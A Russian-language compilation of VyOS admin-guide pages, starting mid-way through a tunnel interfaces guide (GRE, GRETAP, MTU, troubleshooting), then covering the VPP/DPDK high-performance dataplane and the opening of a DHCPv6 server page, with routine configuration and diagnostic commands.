set interfaces tunnel tun2 source-address 203.0.113.1
set interfaces tunnel tun2 remote 198.51.100.3
set interfaces tunnel tun2 address 10.10.3.1/30
set interfaces tunnel tun2 parameters ip key 300

# BGP для динамической маршрутизации
set protocols bgp local-as 65000
set protocols bgp neighbor 10.10.1.2 remote-as 65001
set protocols bgp neighbor 10.10.2.2 remote-as 65002
set protocols bgp neighbor 10.10.3.2 remote-as 65003

commit
save
```

**Spoke 1**:

```bash
# Туннель к Hub
set interfaces tunnel tun0 encapsulation gre
set interfaces tunnel tun0 source-address 198.51.100.1
set interfaces tunnel tun0 remote 203.0.113.1
set interfaces tunnel tun0 address 10.10.1.2/30
set interfaces tunnel tun0 parameters ip key 100

# BGP к Hub
set protocols bgp local-as 65001
set protocols bgp neighbor 10.10.1.1 remote-as 65000
set protocols bgp address-family ipv4-unicast network 192.168.1.0/24

commit
save
```

### Пример 6: GRETAP для L2 extension

**Сайт A**:

```bash
# GRETAP туннель
set interfaces tunnel tun0 encapsulation gretap
set interfaces tunnel tun0 source-address 203.0.113.1
set interfaces tunnel tun0 remote 198.51.100.1

# Bridge для L2 extension
set interfaces bridge br0 member interface eth1
set interfaces bridge br0 member interface tun0

# DHCP relay через туннель (опционально)
set service dhcp-relay interface br0
set service dhcp-relay interface eth0
set service dhcp-relay server 192.168.1.10

commit
save
```

## Мониторинг и диагностика

### Просмотр статуса туннелей

```bash
# Показать все туннельные интерфейсы
show interfaces tunnel

# Детальная информация
show interfaces tunnel tun0

# Статистика
show interfaces tunnel tun0 statistics
```

### Проверка связности

```bash
# Ping через туннель
ping 10.10.10.2 interface tun0

# Traceroute
traceroute 192.168.2.1

# MTU проверка (с Don't Fragment)
ping 10.10.10.2 size 1472 do-not-fragment
```

### Мониторинг трафика

```bash
# Захват пакетов на туннельном интерфейсе
sudo tcpdump -i tun0 -nn

# Захват GRE пакетов на физическом интерфейсе
sudo tcpdump -i eth0 proto gre

# Захват IPIP
sudo tcpdump -i eth0 proto 4

# Детальный вывод
sudo tcpdump -i tun0 -vvv
```

### Проверка routing

```bash
# Таблица маршрутизации
show ip route

# Конкретный маршрут
show ip route 192.168.2.0/24

# OSPF routes (если используется)
show ip ospf route

# BGP routes (если используется)
show ip bgp
```

### Диагностика MTU

```bash
# Path MTU Discovery
ping 10.10.10.2 size 1400 do-not-fragment

# Постепенное увеличение размера пакета
ping 10.10.10.2 size 1200 do-not-fragment
ping 10.10.10.2 size 1300 do-not-fragment
ping 10.10.10.2 size 1400 do-not-fragment
ping 10.10.10.2 size 1500 do-not-fragment  # Должен провалиться
```

### Проверка конфигурации

```bash
# Показать конфигурацию туннеля
show configuration interfaces tunnel tun0

# Все туннели
show configuration interfaces tunnel
```

## Устранение неполадок

### Проблема: Туннель не поднимается

**Диагностика**:

```bash
# 1. Проверка интерфейса
show interfaces tunnel tun0

# 2. Проверка связности внешних IP
ping 198.51.100.1

# 3. Проверка firewall
show firewall

# 4. Логи
show log | match tun0
```

**Решение**:

```bash
# Проверить source/remote адреса
show configuration interfaces tunnel tun0

# Разрешить GRE в firewall (протокол 47)
set firewall ipv4 name WAN_LOCAL rule 100 action accept
set firewall ipv4 name WAN_LOCAL rule 100 protocol gre

# Для IPIP (протокол 4)
set firewall ipv4 name WAN_LOCAL rule 100 protocol 4

commit
save
```

### Проблема: Туннель работает, но нет связности

**Диагностика**:

```bash
# Ping по туннельному IP
ping 10.10.10.2

# Проверка маршрутов
show ip route

# Traceroute
traceroute 192.168.2.1
```

**Решение**:

```bash
# Добавить маршруты (если статические)
set protocols static route 192.168.2.0/24 next-hop 10.10.10.2

# Проверить routing protocol (если OSPF/BGP)
show ip ospf neighbor
show ip bgp summary

commit
save
```

### Проблема: Низкая производительность / packet loss

**Причина**: MTU issues - туннель добавляет overhead.

**Диагностика**:

```bash
# Проверка MTU
show interfaces tunnel tun0

# Path MTU Discovery
ping 10.10.10.2 size 1472 do-not-fragment
```

**Решение**:

```bash
# Уменьшить MTU на туннеле
# GRE overhead = 24 bytes (20 IP + 4 GRE)
# IPIP overhead = 20 bytes
# Standard MTU 1500 - 24 = 1476

set interfaces tunnel tun0 mtu 1476

# MSS clamping для TCP (опционально)
set firewall ipv4 name FORWARD rule 100 action accept
set firewall ipv4 name FORWARD rule 100 protocol tcp
set firewall ipv4 name FORWARD rule 100 tcp flags syn
set firewall ipv4 name FORWARD rule 100 tcp mss 1436

commit
save
```

### Проблема: GRE не работает через NAT

**Причина**: NAT не всегда корректно обрабатывает GRE (протокол 47).

**Решение**:

Используйте GRE over IPsec (NAT-T автоматически обрабатывается IPsec).

```bash
# GRE + IPsec конфигурация (см. Пример 2 выше)
set vpn ipsec site-to-site peer <remote> tunnel 0 protocol gre
```

Или используйте VTI (Virtual Tunnel Interface) с IPsec.

### Проблема: OSPF/BGP не работает через туннель

**Диагностика**:

```bash
# Проверка multicast на GRE
show configuration interfaces tunnel tun0 multicast

# OSPF neighbors
show ip ospf neighbor

# BGP neighbors
show ip bgp summary
```

**Решение**:

```bash
# Включить multicast на GRE (для OSPF)
set interfaces tunnel tun0 multicast enable

# Проверить OSPF network statements
set protocols ospf area 0 network 10.10.10.0/30

commit
save
```

### Проблема: SIT туннель не получает IPv6

**Диагностика**:

```bash
# Проверка туннеля
show interfaces tunnel tun0

# Ping IPv6 gateway
ping 2001:470:1f0a:1234::1

# IPv6 routing
show ipv6 route
```

**Решение**:

```bash
# Проверить source/remote адреса
show configuration interfaces tunnel tun0

# Добавить маршрут по умолчанию
set protocols static route6 ::/0 next-hop 2001:470:1f0a:1234::1

# Проверить firewall для IPv6
show firewall ipv6

commit
save
```

## Лучшие практики

### 1. Правильный выбор типа туннеля

```bash
# GRE - для универсальных нужд с routing protocols
set interfaces tunnel tun0 encapsulation gre

# IPIP - для простых IPv4 туннелей без multicast
set interfaces tunnel tun0 encapsulation ipip

# SIT - только для IPv6 через IPv4
set interfaces tunnel tun0 encapsulation sit
```

### 2. MTU configuration

Всегда настраивайте правильный MTU:

```bash
# GRE: 1500 - 24 = 1476
set interfaces tunnel tun0 mtu 1476

# IPIP: 1500 - 20 = 1480
set interfaces tunnel tun0 mtu 1480

# SIT: 1500 - 20 = 1480
set interfaces tunnel tun0 mtu 1480
```

### 3. Безопасность туннелей

Туннели без шифрования - используйте IPsec:

```bash
# GRE + IPsec для шифрования
set vpn ipsec site-to-site peer <remote> tunnel 0 protocol gre
```

### 4. Firewall rules

Разрешайте туннельные протоколы:

```bash
# GRE (протокол 47)
set firewall ipv4 name WAN_LOCAL rule 100 action accept
set firewall ipv4 name WAN_LOCAL rule 100 protocol gre
set firewall ipv4 name WAN_LOCAL rule 100 source address <remote-ip>

# IPIP (протокол 4)
set firewall ipv4 name WAN_LOCAL rule 101 action accept
set firewall ipv4 name WAN_LOCAL rule 101 protocol 4
set firewall ipv4 name WAN_LOCAL rule 101 source address <remote-ip>
```

### 5. Monitoring

Мониторьте состояние туннелей:

```bash
# Task Scheduler для проверки
set system task-scheduler task check-tunnel interval '*/5 * * * *'
set system task-scheduler task check-tunnel executable path '/config/scripts/check-tunnel.sh'
```

Скрипт `/config/scripts/check-tunnel.sh`:

```bash
#!/bin/bash
if ! ping -c 3 -W 2 10.10.10.2 > /dev/null 2>&1; then
    logger -t tunnel-monitor "Tunnel tun0 is DOWN"
    echo "Tunnel tun0 is DOWN" | mail -s "Tunnel Alert" admin@example.com
fi
```

### 6. Описания интерфейсов

Документируйте туннели:

```bash
set interfaces tunnel tun0 description 'GRE to Branch-Office-B (198.51.100.1)'
```

### 7. GRE keys для множественных туннелей

Используйте GRE keys для идентификации:

```bash
set interfaces tunnel tun0 parameters ip key 100
set interfaces tunnel tun1 parameters ip key 200
```

### 8. Redundancy

Настройте резервные туннели для критичных связей:

```bash
# Основной туннель через ISP1
set interfaces tunnel tun0 source-address 203.0.113.1

# Резервный туннель через ISP2
set interfaces tunnel tun1 source-address 198.51.100.1

# BGP для автоматического failover
set protocols bgp neighbor 10.10.10.2 remote-as 65001
set protocols bgp neighbor 10.10.11.2 remote-as 65001
```

### 9. QoS через туннели

Применяйте QoS для приоритизации трафика:

```bash
set traffic-policy shaper TUNNEL-QOS bandwidth 50mbit
set traffic-policy shaper TUNNEL-QOS class 10 bandwidth 10mbit
set traffic-policy shaper TUNNEL-QOS class 10 priority 7
set traffic-policy shaper TUNNEL-QOS class 10 match voip ip dscp ef

set interfaces tunnel tun0 traffic-policy out TUNNEL-QOS
```

### 10. Documentation

Документируйте все туннели в системе:

```bash
# Файл /config/tunnels.txt
# tun0: GRE to Branch-B (198.51.100.1), OSPF enabled
# tun1: GRE to Branch-C (198.51.100.2), OSPF enabled
# tun2: SIT for IPv6 (HE Tunnel Broker)
```

## Полезные команды

```bash
# Показать все туннели
show interfaces tunnel

# Детали конкретного туннеля
show interfaces tunnel tun0

# Статистика
show interfaces tunnel tun0 statistics

# Конфигурация
show configuration interfaces tunnel tun0

# Ping через туннель
ping 10.10.10.2 interface tun0

# MTU test
ping 10.10.10.2 size 1472 do-not-fragment

# Traceroute
traceroute 192.168.2.1

# tcpdump на туннеле
sudo tcpdump -i tun0 -nn

# tcpdump GRE на физическом интерфейсе
sudo tcpdump -i eth0 proto gre

# Маршруты
show ip route

# OSPF (если используется)
show ip ospf neighbor
show ip ospf route

# BGP (если используется)
show ip bgp summary

# Логи
show log | match tun
```

## Заключение

Tunnel интерфейсы в VyOS предоставляют гибкие возможности для соединения удаленных сетей через IP-инфраструктуру. Различные типы туннелей (GRE, IPIP, SIT, GRETAP, IP6GRE) подходят для разных сценариев - от простых point-to-point соединений до сложных hub-and-spoke топологий с динамической маршрутизацией.

Основные преимущества туннелей:
- Простота настройки по сравнению с IPsec
- Поддержка routing protocols (OSPF, BGP через GRE)
- Multicast support (GRE, GRETAP)
- Низкий overhead
- Гибкость в топологии

Рекомендации для production:
- Выбирайте правильный тип туннеля для задачи
- Используйте GRE + IPsec для шифрования
- Настраивайте правильный MTU (избегайте фрагментации)
- Мониторьте состояние туннелей
- Применяйте firewall rules для туннельных протоколов
- Документируйте все туннели
- Используйте routing protocols для автоматического failover
- Применяйте QoS для критичного трафика

Туннели в VyOS обеспечивают надежное и гибкое соединение сетей, являясь альтернативой или дополнением к VPN решениям для различных enterprise и ISP сценариев.


---

# VPP (Vector Packet Processing) в VyOS

Source: https://opennix.org/docs/vyos/admin-guide/vyos-vpp/



Vector Packet Processing (VPP) - это высокопроизводительный dataplane framework от проекта FD.io, который может использоваться в VyOS вместо стандартного Linux kernel networking stack для достижения значительно более высокой производительности пакетной обработки.

## Введение в VPP

### Что такое VPP?

VPP (Vector Packet Processing) - это модульный, расширяемый фреймворк для обработки пакетов в пространстве пользователя (userspace), разработанный проектом FD.io (Fast Data Project) под эгидой Linux Foundation.

**Ключевые особенности:**

- **Векторная обработка**: Обрабатывает пакеты группами (векторами), а не по одному
- **Userspace**: Работает в пространстве пользователя, минуя kernel networking stack
- **Zero-copy**: Минимизирует копирование данных между user/kernel space
- **DPDK интеграция**: Использует Intel DPDK для прямого доступа к сетевым картам
- **Графовая архитектура**: Модульная архитектура на основе графа обработки пакетов
- **Высокая производительность**: 10-100x лучше производительность по сравнению с kernel networking

### Преимущества VPP

**Производительность:**
- Throughput: до 200+ Gbps на commodity hardware
- Latency: микросекундная задержка обработки пакетов
- PPS: миллионы пакетов в секунду

**Эффективность:**
- Оптимизация использования CPU cache
- Минимизация context switches
- Эффективное использование CPU cores

**Гибкость:**
- Модульная архитектура с плагинами
- Программируемость через plugins
- Поддержка множества протоколов

### Когда использовать VPP?

**Рекомендуется для:**
- High-throughput сценариев (10+ Gbps)
- NFV (Network Function Virtualization)
- Service provider edge
- High-performance routing/switching
- vRouter в облачных средах
- IPsec VPN с высокой нагрузкой

**Не рекомендуется для:**
- SOHO/малые офисы (overkill)
- Системы с ограниченными ресурсами
- Простые конфигурации
- Случаи, где kernel networking достаточно

## Архитектура VPP в VyOS

### Стандартный Linux Networking vs VPP

**Linux Kernel Networking:**
```
Application
    ↓
 Socket API
    ↓
Kernel Network Stack
    ↓
Network Driver
    ↓
 NIC Hardware
```

**VPP Dataplane:**
```
Application (via VPP API)
    ↓
VPP (userspace)
    ↓
DPDK PMD (Poll Mode Driver)
    ↓
NIC Hardware (direct access)
```

### Интеграция VPP с VyOS

VyOS может использовать VPP как альтернативный dataplane:

```
VyOS CLI/API
    ↓
VyOS Configuration Daemon
    ↓
VPP Control Plane Integration
    ↓
VPP Dataplane (packet processing)
```

**Компоненты:**
- **VPP daemon**: Основной процесс обработки пакетов
- **VPP plugins**: Расширения функциональности (NAT, ACL, IPsec, etc.)
- **Control plane integration**: Интеграция с FRR для routing protocols
- **Configuration management**: VyOS CLI → VPP API

## Установка и настройка VPP

### Требования к системе

**Hardware:**
- CPU: x86_64 с поддержкой SSE4.2 и AVX2 (рекомендуется)
- RAM: минимум 4GB (рекомендуется 8GB+)
- NIC: DPDK-совместимые сетевые карты (Intel, Mellanox, и др.)
- Hugepages: включены в BIOS/kernel

**Software:**
- VyOS 1.4+ (rolling release рекомендуется)
- Linux kernel с поддержкой hugepages
- DPDK-совместимые драйверы

### Проверка совместимости NIC

```bash
# Проверить PCI ID сетевых карт
lspci | grep Ethernet

# Проверить DPDK-совместимость
# Intel 82599, X710, XL710 - отличная поддержка
# Intel e1000e (igb) - базовая поддержка
# Mellanox ConnectX-4/5 - отличная поддержка

# Проверить текущий драйвер
ethtool -i eth0 | grep driver
```

### Настройка Hugepages

VPP требует hugepages для эффективного управления памятью:

```bash
# Проверить текущие hugepages
cat /proc/meminfo | grep Huge

# Настроить hugepages (2MB pages, 1024 pages = 2GB)
configure
set system option hugepages hugepage-size 2048
set system option hugepages count 1024
commit
save

# Альтернативно - через kernel параметры
sudo vi /boot/grub/grub.cfg
# Добавить к kernel line:
# hugepagesz=2M hugepages=1024 default_hugepagesz=2M

# Reboot для применения
reboot
```

### Установка VPP (если не предустановлен)

```bash
# VPP может быть предустановлен в некоторых VyOS образах
# Проверить наличие
dpkg -l | grep vpp

# Если не установлен - установить из репозитория
sudo apt-get update
sudo apt-get install vpp vpp-plugin-core vpp-plugin-dpdk

# Проверить версию
vppctl show version
```

### Базовая конфигурация VPP

#### Включение VPP dataplane

```bash
configure

# Включить VPP
set system dataplane vpp

# Указать интерфейсы для VPP
set system dataplane vpp interface eth0
set system dataplane vpp interface eth1

# Настроить CPU cores для VPP
set system dataplane vpp cpu main-core 0
set system dataplane vpp cpu corelist-workers 1-3

commit
save

# Reboot для применения
reboot
```

#### Проверка статуса VPP

```bash
# После reboot - проверить VPP
vppctl show version
vppctl show hardware
vppctl show interface

# Проверить что интерфейсы подхвачены VPP
vppctl show hardware-interfaces
```

## Работа с VPP интерфейсами

### Управление интерфейсами через VPP

После включения VPP, интерфейсы управляются через VPP control plane:

```bash
# VyOS CLI продолжает работать для конфигурации
configure
set interfaces ethernet eth0 address 192.168.1.1/24
commit

# Внутренне VyOS транслирует команды в VPP API
# Проверить через vppctl
vppctl show interface address
```

### Проверка производительности интерфейсов

```bash
# Статистика интерфейсов VPP
vppctl show interface

# Детальная статистика
vppctl show hardware-interfaces

# Errors и drops
vppctl show errors

# Статистика по node graph
vppctl show runtime
```

## VPP для специфичных функций

### IPsec с VPP

VPP обеспечивает аппаратное ускорение IPsec:

```bash
configure

# Включить VPP IPsec plugin
set system dataplane vpp plugin dpdk enable
set system dataplane vpp plugin crypto enable

commit
save

# Настроить IPsec как обычно через VyOS CLI
set vpn ipsec ike-group IKE-VPP proposal 1 encryption aes256
set vpn ipsec ike-group IKE-VPP proposal 1 hash sha256
set vpn ipsec ike-group IKE-VPP proposal 1 dh-group 14

set vpn ipsec esp-group ESP-VPP proposal 1 encryption aes256
set vpn ipsec esp-group ESP-VPP proposal 1 hash sha256

set vpn ipsec site-to-site peer 203.0.113.1 authentication mode pre-shared-secret
set vpn ipsec site-to-site peer 203.0.113.1 authentication pre-shared-secret 'secret'
set vpn ipsec site-to-site peer 203.0.113.1 ike-group IKE-VPP
set vpn ipsec site-to-site peer 203.0.113.1 local-address 203.0.113.2
set vpn ipsec site-to-site peer 203.0.113.1 tunnel 1 esp-group ESP-VPP
set vpn ipsec site-to-site peer 203.0.113.1 tunnel 1 local prefix 192.168.1.0/24
set vpn ipsec site-to-site peer 203.0.113.1 tunnel 1 remote prefix 192.168.2.0/24

commit
save
```

**Проверка VPP IPsec:**

```bash
# Проверить IPsec через VPP
vppctl show ipsec all

# Статистика IPsec
vppctl show ipsec sa
vppctl show ipsec tunnel
```

**Производительность IPsec с VPP:**
- До 10-50 Gbps IPsec throughput (зависит от hardware)
- Аппаратное ускорение AES-NI
- Параллельная обработка множественных туннелей

### NAT с VPP

VPP NAT plugin обеспечивает высокопроизводительный NAT:

```bash
configure

# Включить VPP NAT plugin
set system dataplane vpp plugin nat enable

# Настроить NAT как обычно
set nat source rule 100 outbound-interface eth0
set nat source rule 100 source address 192.168.1.0/24
set nat source rule 100 translation address masquerade

commit
save
```

**Проверка VPP NAT:**

```bash
# NAT сессии в VPP
vppctl show nat44 sessions

# NAT статистика
vppctl show nat44 statistics

# NAT addresses
vppctl show nat44 addresses
```

**Производительность NAT с VPP:**
- Миллионы NAT сессий
- Высокий PPS для новых соединений
- Масштабируется с количеством CPU cores

### ACL/Firewall с VPP

VPP ACL plugin для firewall функций:

```bash
configure

# Включить VPP ACL plugin
set system dataplane vpp plugin acl enable

# Настроить firewall через VyOS CLI как обычно
set firewall name WAN_LOCAL default-action drop
set firewall name WAN_LOCAL rule 10 action accept
set firewall name WAN_LOCAL rule 10 state established enable
set firewall name WAN_LOCAL rule 10 state related enable

set interfaces ethernet eth0 firewall local name WAN_LOCAL

commit
save
```

**Проверка VPP ACL:**

```bash
# ACL правила в VPP
vppctl show acl-plugin acl

# ACL статистика
vppctl show acl-plugin sessions
```

## Мониторинг и отладка VPP

### Базовый мониторинг

```bash
# Общая информация
vppctl show version
vppctl show hardware
vppctl show memory

# CPU использование
vppctl show runtime

# Интерфейсы
vppctl show interface
vppctl show interface address

# Ошибки
vppctl show errors

# Packet graph
vppctl show vlib graph
```

### Детальная статистика

```bash
# Node runtime статистика
vppctl show runtime verbose

# Per-node статистика
vppctl show node counters

# Buffer usage
vppctl show buffers

# Thread статистика
vppctl show threads
```

### Packet tracing

```bash
# Включить packet trace (первые 100 пакетов)
vppctl trace add dpdk-input 100

# Показать trace
vppctl show trace

# Очистить trace
vppctl clear trace
```

### Performance tuning

```bash
# Оптимизация CPU cores
vppctl set interface rx-mode eth0 polling

# Настройка buffer size
# В /etc/vpp/startup.conf
unix {
  cli-listen /run/vpp/cli.sock
}
cpu {
  main-core 0
  corelist-workers 1-7
}
dpdk {
  dev 0000:03:00.0
  dev 0000:04:00.0
  num-mbufs 128000
  socket-mem 2048,2048
}
```

## Troubleshooting VPP

### Проблема: VPP не стартует

**Диагностика:**

```bash
# Проверить статус VPP service
sudo systemctl status vpp

# Логи VPP
sudo journalctl -u vpp -n 100

# VPP startup log
sudo cat /var/log/vpp/vpp.log
```

**Типичные причины:**

1. **Hugepages не настроены**
```bash
# Проверить
cat /proc/meminfo | grep Huge

# Если HugePages_Total = 0, настроить hugepages
echo 1024 | sudo tee /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages
```

2. **DPDK не может получить доступ к NIC**
```bash
# Проверить PCI binding
sudo dpdk-devbind.py --status

# Bind интерфейс к DPDK driver
sudo dpdk-devbind.py --bind=vfio-pci 0000:03:00.0
```

3. **Недостаточно памяти**
```bash
# Проверить доступную память
free -h

# Увеличить socket-mem в /etc/vpp/startup.conf
```

### Проблема: Низкая производительность

**Диагностика:**

```bash
# Проверить CPU usage
vppctl show runtime

# Проверить packet drops
vppctl show hardware-interfaces

# Проверить errors
vppctl show errors
```

**Решения:**

1. **Увеличить worker cores**
```bash
# В /etc/vpp/startup.conf
cpu {
  main-core 0
  corelist-workers 1-7  # Больше cores
}
```

2. **Оптимизировать RX mode**
```bash
vppctl set interface rx-mode eth0 polling
vppctl set interface rx-mode eth1 polling
```

3. **Увеличить buffers**
```bash
# В /etc/vpp/startup.conf
dpdk {
  num-mbufs 256000  # Увеличить
}
```

### Проблема: Интерфейсы не доступны

**Диагностика:**

```bash
# Проверить hardware interfaces
vppctl show hardware-interfaces

# Проверить PCI devices
lspci | grep Ethernet

# Проверить DPDK binding
sudo dpdk-devbind.py --status
```

**Решение:**

```bash
# Bind интерфейсы к DPDK
sudo dpdk-devbind.py --bind=vfio-pci 0000:03:00.0
sudo dpdk-devbind.py --bind=vfio-pci 0000:04:00.0

# Restart VPP
sudo systemctl restart vpp
```

## Практические сценарии с VPP

### Сценарий 1: High-throughput Router с VPP

**Задача:** Роутер с 40+ Gbps throughput для ISP edge

**Конфигурация:**

```bash
configure

# Включить VPP
set system dataplane vpp

# Настроить интерфейсы
set system dataplane vpp interface eth0
set system dataplane vpp interface eth1

# CPU allocation (8 cores)
set system dataplane vpp cpu main-core 0
set system dataplane vpp cpu corelist-workers 1-7

# Интерфейсы
set interfaces ethernet eth0 address 203.0.113.2/30
set interfaces ethernet eth0 description 'Upstream'

set interfaces ethernet eth1 address 192.168.1.1/24
set interfaces ethernet eth1 description 'Internal'

# Routing
set protocols static route 0.0.0.0/0 next-hop 203.0.113.1

# NAT с VPP
set system dataplane vpp plugin nat enable
set nat source rule 100 outbound-interface eth0
set nat source rule 100 source address 192.168.1.0/24
set nat source rule 100 translation address masquerade

commit
save
reboot
```

**Проверка производительности:**

```bash
# После reboot
# Запустить iperf3 тест
# Server на внутренней сети
iperf3 -s

# Client через роутер
iperf3 -c <server-ip> -P 10 -t 60

# Мониторить VPP
vppctl show runtime
vppctl show interface
vppctl show nat44 sessions
```

### Сценарий 2: IPsec VPN Gateway с VPP ускорением

**Задача:** VPN gateway с 10+ Gbps IPsec throughput

**Конфигурация:**

```bash
configure

# VPP с crypto plugin
set system dataplane vpp
set system dataplane vpp plugin dpdk enable
set system dataplane vpp plugin crypto enable
set system dataplane vpp plugin nat enable

set system dataplane vpp interface eth0
set system dataplane vpp interface eth1

set system dataplane vpp cpu main-core 0
set system dataplane vpp cpu corelist-workers 1-15  # 16 cores total

# Интерфейсы
set interfaces ethernet eth0 address 203.0.113.10/24
set interfaces ethernet eth0 description 'WAN'

set interfaces ethernet eth1 address 192.168.1.1/24
set interfaces ethernet eth1 description 'LAN'

# Multiple IPsec tunnels
# Tunnel 1
set vpn ipsec site-to-site peer 203.0.113.20 authentication mode pre-shared-secret
set vpn ipsec site-to-site peer 203.0.113.20 authentication pre-shared-secret 'secret1'
set vpn ipsec site-to-site peer 203.0.113.20 ike-group IKE-VPP
set vpn ipsec site-to-site peer 203.0.113.20 local-address 203.0.113.10
set vpn ipsec site-to-site peer 203.0.113.20 tunnel 1 esp-group ESP-VPP
set vpn ipsec site-to-site peer 203.0.113.20 tunnel 1 local prefix 192.168.1.0/24
set vpn ipsec site-to-site peer 203.0.113.20 tunnel 1 remote prefix 192.168.2.0/24

# Tunnel 2
set vpn ipsec site-to-site peer 203.0.113.30 authentication mode pre-shared-secret
set vpn ipsec site-to-site peer 203.0.113.30 authentication pre-shared-secret 'secret2'
set vpn ipsec site-to-site peer 203.0.113.30 ike-group IKE-VPP
set vpn ipsec site-to-site peer 203.0.113.30 local-address 203.0.113.10
set vpn ipsec site-to-site peer 203.0.113.30 tunnel 1 esp-group ESP-VPP
set vpn ipsec site-to-site peer 203.0.113.30 tunnel 1 local prefix 192.168.1.0/24
set vpn ipsec site-to-site peer 203.0.113.30 tunnel 1 remote prefix 192.168.3.0/24

commit
save
reboot
```

**Мониторинг IPsec производительности:**

```bash
# IPsec tunnels
vppctl show ipsec all

# IPsec throughput
vppctl show interface

# Crypto engines
vppctl show crypto engines
```

### Сценарий 3: NFV vRouter в облаке

**Задача:** Виртуальный роутер в облачной среде с VPP для высокой производительности

**Особенности:**
- Работа в виртуальной машине
- Virtio интерфейсы с DPDK
- Оптимизация для cloud environment

**Конфигурация:**

```bash
configure

# VPP с virtio support
set system dataplane vpp
set system dataplane vpp interface eth0
set system dataplane vpp interface eth1

# Меньше cores для VM
set system dataplane vpp cpu main-core 0
set system dataplane vpp cpu corelist-workers 1-3

# Интерфейсы
set interfaces ethernet eth0 address dhcp
set interfaces ethernet eth0 description 'Cloud-WAN'

set interfaces ethernet eth1 address 10.0.1.1/24
set interfaces ethernet eth1 description 'Cloud-LAN'

# Cloud-specific routing
set protocols static route 0.0.0.0/0 next-hop dhcp-interface eth0

# NAT
set nat source rule 100 outbound-interface eth0
set nat source rule 100 source address 10.0.1.0/24
set nat source rule 100 translation address masquerade

commit
save
reboot
```

## Сравнение производительности: Linux Kernel vs VPP

### Тестовая конфигурация

**Hardware:**
- CPU: Intel Xeon Silver 4214 (12 cores, 24 threads)
- RAM: 64GB DDR4
- NIC: Intel X710 (10 Gbps)

**Test setup:**
- Simple routing (no NAT, no firewall)
- 64-byte packets (worst case)
- 1500-byte packets (typical)

### Результаты тестов

**Linux Kernel Networking:**
```
64-byte packets:  ~2 Mpps (2 Gbps)
1500-byte packets: ~8 Gbps
Latency: 100-500 µs
CPU usage: 100% on 1 core at 8 Gbps
```

**VPP Dataplane:**
```
64-byte packets:  ~10 Mpps (10 Gbps)
1500-byte packets: ~40 Gbps (with 4 worker cores)
Latency: 10-50 µs
CPU usage: ~40% на 4 cores at 40 Gbps
```

**Вывод:**
- VPP: 5x лучше PPS (packets per second)
- VPP: 5x лучше throughput
- VPP: 10x ниже latency
- VPP: Лучше масштабируется с cores

### Когда выигрыш максимален?

**VPP показывает наибольший прирост в:**
1. High PPS сценариях (мелкие пакеты)
2. IPsec encryption (аппаратное ускорение)
3. Большое количество NAT сессий
4. Stateful firewall с множеством правил
5. Комбинация функций (routing + NAT + IPsec + ACL)

## Ограничения VPP в VyOS

### Текущие ограничения

1. **Не все VyOS функции поддерживаются с VPP:**
   - Некоторые legacy протоколы могут не работать
   - Специфичные kernel-based функции недоступны

2. **Требования к hardware:**
   - DPDK-совместимые NIC required для максимальной производительности
   - Hugepages обязательны
   - Достаточно CPU cores для worker threads

3. **Complexity:**
   - Более сложная настройка и troubleshooting
   - Требуется понимание VPP архитектуры
   - Debug сложнее чем kernel networking

4. **Интеграция:**
   - Некоторые сторонние инструменты могут не работать с VPP
   - Standard Linux tools (tcpdump, iptables) не работают напрямую с VPP

### Альтернативные решения

**Если VPP слишком сложен, рассмотрите:**

1. **Kernel optimizations:**
   - XDP (eXpress Data Path)
   - TC (Traffic Control) offload
   - RSS (Receive Side Scaling) tuning

2. **Hardware offload:**
   - SmartNICs (Mellanox, Netronome)
   - FPGA-based solutions

3. **Commercial solutions:**
   - Cisco CSR 1000v с VPP
   - VyOS Professional с VPP support

## Лучшие практики для VPP

### Планирование

1. **Оценить необходимость VPP:**
   - Нужен ли реально такой throughput?
   - Достаточно ли kernel networking?
   - Есть ли подходящий hardware?

2. **Планировать ресурсы:**
   - CPU cores: minimum 4 (main + 3 workers)
   - RAM: minimum 8GB для hugepages
   - NIC: DPDK-compatible

3. **Тестировать в staging:**
   - Всегда тестировать VPP конфигурацию перед production
   - Проверять все требуемые функции
   - Измерять реальную производительность

### Настройка

1. **Правильно выделять CPU cores:**
```bash
# Изолировать cores для VPP
# В /etc/default/grub
GRUB_CMDLINE_LINUX="isolcpus=1-7"

# VPP используют isolated cores
set system dataplane vpp cpu corelist-workers 1-7
```

2. **Оптимизировать hugepages:**
```bash
# Использовать 1GB hugepages для больших deployments
echo 8 | sudo tee /sys/kernel/mm/hugepages/hugepages-1048576kB/nr_hugepages
```

3. **Мониторинг:**
```bash
# Регулярно проверять VPP stats
vppctl show runtime
vppctl show errors
vppctl show hardware-interfaces
```

### Операционные практики

1. **Backup конфигурации:**
   - VyOS configuration backup включает VPP settings
   - Дополнительно backup /etc/vpp/startup.conf

2. **Мониторинг производительности:**
   - Интеграция с Prometheus/Grafana
   - VPP metrics export
   - Alerting на packet drops

3. **Обновления:**
   - Тестировать VPP updates в staging
   - Читать release notes для breaking changes
   - Планировать maintenance windows

## Заключение

VPP dataplane в VyOS предоставляет значительное улучшение производительности для high-throughput сценариев:

**Ключевые преимущества:**
- 5-10x улучшение throughput
- 10x снижение latency
- Лучшее масштабирование с CPU cores
- Аппаратное ускорение криптографии

**Когда использовать:**
- ISP edge routers (10+ Gbps)
- VPN gateways с высокой нагрузкой
- NFV/SDN deployments
- Cloud vRouters
- High-performance NAT gateways

**Когда не использовать:**
- SOHO/малые офисы (overkill)
- Ограниченные ресурсы
- Простые сценарии
- Нет подходящего hardware

VPP - это мощный инструмент, но требует тщательного планирования, правильного hardware, и понимания архитектуры. Для большинства сценариев standard Linux kernel networking в VyOS достаточно и проще в управлении. VPP следует рассматривать только когда необходима экстремальная производительность и есть соответствующие ресурсы для поддержки.

## Дополнительные ресурсы

- **FD.io Project**: https://fd.io/
- **VPP Wiki**: https://wiki.fd.io/view/VPP
- **VPP Documentation**: https://docs.fd.io/vpp/
- **DPDK**: https://www.dpdk.org/
- **VyOS Forums**: https://forum.vyos.io/ (VPP discussions)


---

# DHCPv6 Server в VyOS

Source: https://opennix.org/docs/vyos/services/vyos-dhcpv6/



DHCPv6 (Dynamic Host Configuration Protocol for IPv6) - это протокол автоматической конфигурации IPv6-адресов и параметров сети для клиентов. VyOS предоставляет полнофункциональный DHCPv6-сервер для централизованного управления IPv6-адресацией в сети.

## Обзор

DHCPv6 используется для:

- **Автоматическое назначение IPv6 адресов**: Централизованное управление адресацией
- **Конфигурация параметров**: DNS-серверы, домен поиска, NTP-серверы
- **Статические резервирования**: Фиксированные адреса для серверов и оборудования
- **Prefix delegation**: Делегирование префиксов для роутеров (DHCPv6-PD)
